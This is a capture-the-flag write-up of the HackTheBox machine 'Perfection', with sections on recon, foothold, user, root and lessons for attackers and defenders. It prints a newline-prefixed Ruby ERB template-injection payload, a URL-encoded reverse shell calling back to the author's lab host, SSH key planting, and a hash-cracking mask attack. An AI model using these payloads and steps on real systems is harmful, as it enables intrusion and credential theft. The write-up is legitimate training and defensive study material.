Perfection

INTRODUCTION

Perfection was released as the 9th box of HTB’s Season IV, “Savage Lands”, but I’m coming to it two weeks late. I really enjoyed this box, even though it was quite easy. I always appreciate when the box creator builds a little bit of a narrative around the box: in this case, we were dealing with a small school and the interaction between two people (shown on the About Us page) regarding the school’s computer systems. There weren’t too many distractions on this one: if you know what you’re looking at, the solution for all steps should be readily apparent.

There is negligible recon required - the only useful recon being some cursory nmap scans. If you play around with the website a little, the vulnerability stands out very clearly, as does the fact that they failed to patch or mitigate its risk. Exploiting this was the only part where I was temporarily thwarted (but I’ve since corrected that, and have added better checklists to my routine.)

Once exploiting for an initial foothold, there is very little required for this box. Frankly, you won’t even need to run any privesc enumeration tools for this one - just do the usual first steps to user enumeration manually, and you’ll see the correct information right away. One tip: after gaining foothold, go ahead and make an SSH connection instead - this will help the next step to stand out very clearly. After that, some really simple hash-cracking get’s you what you need to escalate to root.

😆 This box was pretty entertaining - I’ll definitely be recommending it to any beginners I meet. Thanks, @TheHated1!

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results from the vuln scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

Not shown: 82 closed udp ports (port-unreach)
PORT      STATE         SERVICE        VERSION
7/udp     open|filtered echo
68/udp    open|filtered tcpwrapped
69/udp    open|filtered tftp
80/udp    open|filtered http
177/udp   open|filtered xdmcp
427/udp   open|filtered svrloc
999/udp   open|filtered tcpwrapped
1025/udp  open|filtered blackjack
1434/udp  open|filtered ms-sql-m
1718/udp  open|filtered tcpwrapped
2000/udp  open|filtered tcpwrapped
3456/udp  open|filtered tcpwrapped
32769/udp open|filtered filenet-rpc
32771/udp open|filtered sometimes-rpc6
49188/udp open|filtered unknown
49191/udp open|filtered unknown
49192/udp open|filtered unknown
49200/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=perfection.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

Interesting - you don’t often see Ruby webservers. According to their official page, current Ruby version roughly 3.3.0. WEBrick latest is at 1.8.1, so this one is a little out of date.

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

As expected, no result. I wasn’t expecting anything though. Just for completeness, I’ll check for subdomains of perfection.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://perfection.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,js,html -timeout 4 -v

Directory enumeration against http://[domain].htb/ gave the following:

directory enumeration

Exploring the Website

I often like to check the page footer first, to see if they’re using any open-source projects that I can look up:

footer

It looks like Secure Student Tools is just fictional. The description for Tina on the /about page adds a little flavor:

“The web developer of our team, Tina is a Computer Science major at Acme University and a bright mind. She was the one who came up with the entire idea for the vision of Secure Student Tools™. She is an absolute whiz at web development, but she hasn’t delved into secure coding too much.”

The /weighted-grade page seems to be the only interactive part of the website. Oddly, the form validation forces you to fill in all five rows:

grade calculator 1

It didn’t like the way that I submitted that data:

grade calculator 2

The form seems to prevent you from doing something like this:

grade calculator 3

The client-side validation doesn’t like that. 🙄 Fine. I put 100% on one, and 0% on the rest:

grade calculator 4

Ok, that’s interesting. It reflects the values back at us. Might be worth testing if I can do an SSTI for Ruby:

SSTI test 1

😹 Nope, it didn’t like that either:

SSTI blocked

This makes me think I’m probably on the right track. This error message suggests to me that they’re using some kind of filter or deny-list to detect what is “malicious”. If it were actually secure code, it would just escape everything properly and parse the escaped text into the template.

FOOTHOLD

Figure out the filter

EDIT: Since stumbling on this part of the box, I decided to write a short guide/checklist on doing bypasses of various kinds. Please see /strategy/filter-bypass/ for more detail.

One of the methods I describe in that strategy will work for this box. It’s one of the simpler ones, too.

I’ll try some filter bypasses to try to circumvent this. I’ll switch to Burp (partially because I won’t have to fill out the form over and over, partially because I might need to play with some of the http headers).

The SSTI page on PayloadAllTheThings suggests that the template engine is probably either ERB or Slim, so let’s isolate which of these characters are bad: }#{>%=<

<%= 7 * 7 %>  # ERB
#{ 7 * 7 }    # Slim

I tried these characters in place of one of the “category” of row 5:

ssti polyglot

Then repeatedly submitted those characters, removing one each time. If it showed “Malicious input blocked” all the way until the last character, I’d remove that one from the list and start again… until I tried all of them.

The result: all of them are “bad”. In fact, it seems like every “special character” is considered bad.

Then, I did a little reading for ideas and started trying all kinds of other things. Here are some of the sources I read:

A non-exhaustive list of all the things I tried includes:

  • url-encoding, double url-encoding
  • using unicode for all special characters
  • Forcing alternative charsets using the Content-Type: application/x-www-form-urlencoded;charset=ibm037 trick
  • many, many more.

And the winner was… 🥁

Linefeed! Yes, a single newline character did the trick. As alluded-to in the two articles I marked with a ⭐ above, using a newline character is enough to bypass the regex:

This payload is just a url-encoded version of \n<%= 7 * 7 %>

PAYLOAD='%0a%3c%25%3d+7+%2a+7+%25%3e'
BODY="category1=Compooterss&grade1=90&weight1=20&category2=English&grade2=90&weight2=20&category3=Speeling&grade3=90&weight3=20&category4=Artt&grade4=90&weight4=20&category5=SSTI$PAYLOAD&grade5=90&weight5=20"
curl -sd "$BODY" http://perfection.htb/weighted-grade-calc | grep -A 1 -E 'Malicious|SSTI'

How does this work? It turns out that a popular mistake or shortcoming of regex modules is that they lack multi-line support. They’ll only parse a single line of text. So by inserting a newline before any of the “bad” characers, the regex filter is bypassed.

Gain RCE

Technically, the SSTI proof-of-concept is RCE. But how can we use this to get a shell on the target? It seems like the easiest way is to simply send a Ruby reverse shell inside the SSTI. Here’s the reverse shell I’ll use:

spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.19",4444))

But first, I’ll open up a port in my firewall and start a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP-LISTEN:4444 STDOUT

Now let’s URL-encode the reverse shell. Here’s a little python script to do it, but Burp would work fine too:

#!/bin/env python3
import sys
import urllib.parse as ul
s = sys.argv[1]
print(s)
print(ul.quote_plus(s))
./url-encode.py 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.19",4444))'
# spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.19%22%2C4444%29%29

Great, now we just need to send it to the target. I’m taking the SSTI from above and just replacing the ‘7 * 7’ with the url-encoded reverse shell:

PAYLOAD='%0a%3c%25%3d+spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.19%22%2C4444%29%29+%25%3e'
BODY="category1=Compooterss&grade1=90&weight1=20&category2=English&grade2=90&weight2=20&category3=Speeling&grade3=90&weight3=20&category4=Artt&grade4=90&weight4=20&category5=SSTI$PAYLOAD&grade5=90&weight5=20"
curl -sd "$BODY" http://perfection.htb/weighted-grade-calc | grep -A 1 -E 'Malicious|SSTI'

And there we have it, a reverse shell:

reverse shell

👀 Oh? susan is in the sudo group? Privesc might be pretty easy.

USER FLAG

Upgrade the shell

Since this is just sh, let’s upgrade this shell quickly:

which python python3 php perl bash   # python3 and bash are present
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z] stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
stty rows 48 columns 197 # from stty -a

Get the flag

Let’s find out where the flag is, and see if we can read it directly:

find / -name 'user.txt' 2>/dev/null

Perfect, it’s in the home directory for susan. Just read the flag for some points

cat /home/susan/user.txt

ROOT FLAG

Change to SSH

To get a little more comfortable, I’ll switch to SSH.

# On the attacker machine:
ssh-keygen -t rsa -b 4096 # used passphrase parr0t
chmod 700 ./id_rsa
base64 -w 0 id_rsa.pub | tee id_rsa.pub64
# On the target machine:
mkdir -p ~/.ssh
echo 'c3NoLXJ....bGkK' | base64 -d >> ~/.ssh/authorized_keys
# On attacker machine:
ssh -i ./id_rsa susan@$RADDR

susan ssh

😂 What? Susan appears to have mail. Let’s check it out:

cat /var/mail/susan

“Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials (‘our’ including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student”

Alright, that seems useful! Taking a quick look at /etc/passwd doesnt seem like there’s anyone except root to pivot to. However, there is a directory called Migration in susan’s home directory. Possibly related? Let’s grab a copy:

scp -i ./id_rsa susan@$RADDR:/home/susan/Migration/pupilpath_credentials.db ./pupilpath_credentials.db

The database has only one table inside

sqlite3

Those look like password hashes. Let’s dump them into a file. Since susan is the only one of these names that actually appears in /etc/passwd, I’m only going to try to crack that one:

echo -n 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' > susan.hash

I also tossed this hash into name-that-hash. It had some guesses about the most likely formats:

name-that-hash

From the email, we know the format of the password: it should be susannasus######### (where each # is a digit).

So let’s try a mask attack with john:

john --mask=susan_nasus_?d?d?d?d?d?d?d?d?d --fork=4 susan.hash

Nice! It cracked in a matter of seconds.

cracked password

Now that we have a password for susan, we can finally check what is available with sudo:

susan sudo

Oh, everything is available? Well, that couldn’t be easier!

root flag

Just cat out the flag for some of the easiest root flag points you’ve ever seen 😜

cat /root/root.txt

EXTRA CREDIT

What was the regex anyway?

I was stuck at the SSTI step of this box for longer than I care to admit. Let’s see what was stopping me. The code is in /home/susan/ruby_app/main.rb:

post '/weighted-grade-calc' do
    total_weight = params[:weight1].to_i + params[:weight2].to_i + params[:weight3].to_i + params[:weight4].to_i + params[:weight5].to_i
    if total_weight != 100
        @result = "Please reenter! Weights do not add up to 100."
        erb :'weighted_grade_results'
    elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ && params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ && params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
        @result = ERB.new(<SNIP>).result(binding)
        erb :'weighted_grade_results'
    else
        @result = "Malicious input blocked"
        erb :'weighted_grade_results'
    end
end

Ok, so the regex is just this:

params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/

Literally all it does is check that it’s alphanumeric or slash or space, and cant be empty. Yikes, that makes me feel a little stupid.

LESSONS LEARNED

two crossed swords

Attacker

  • Keep a checklist of filter bypasses on-hand. After doing this box, I went and wrote myself a short list of them. Naturally, each scenario you encounter will require different bypass techniques, but I tried to write down a few to get the creative juices flowing. Please see /strategy/filter-bypass for more detail.

  • Think like a better developer. This can be tricky, because usually you’re up against a team of well-trained developers that have been writing secure code for a long time. But sometimes, like in this case, you’re up against a novice, who doesn’t know how to code securely. I’m glad I picked up on the hints that pointed in this direction: such as getting an error message of “Malicious input blocked” instead of simply using proper code escapes in the Sinatra template.

  • Keep the alternate uses of john/hashcat in mind. My initial reaction when cracking the passwords was to generate a wordlist containing all of the possible number suffixes. After a minute or so of waiting of that epic 10GiB file to write, I realized “oh, this is perfect for a mask attack”. Realizing that, I stopped writing the wordlist and cracked the password in seconds.

two crossed swords

Defender

  • Template injection is always preventable. Use proper escapes for the template. SSTIs can be very dangerous. Usually template engines are quite forceful in guiding you to do it the correct way - follow the documentation!

  • Use pre-written regexes. Writing bulletproof regexes is really hard. It’s best to rely on more field-tested ones that others have written, instead of trying to reinvent the wheel. Consider using websites like https://regexlib.com or https://regex101.com/library.

  • Keep secrets out of mail. Even if it wasn’t just /var/mail, mail servers are really popular targets. It’s best to keep secrets out of them, such as your formula for password generation. Without the hint in /var/mail, it would have been a little more difficult to crack the hashes I needed.

  • High-privilege accounts should be treated specially. On this box, susan had full sudo access to the whole machine. I understand why - as the admin, it’s kind of a convenience thing (I’m not saying it’s right, I’m just saying I understand.) However, when we have such a high-privilege user, they should have special safeguards on their account. Giving susan the same security as any of the low-privilege students was a big mistake!


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake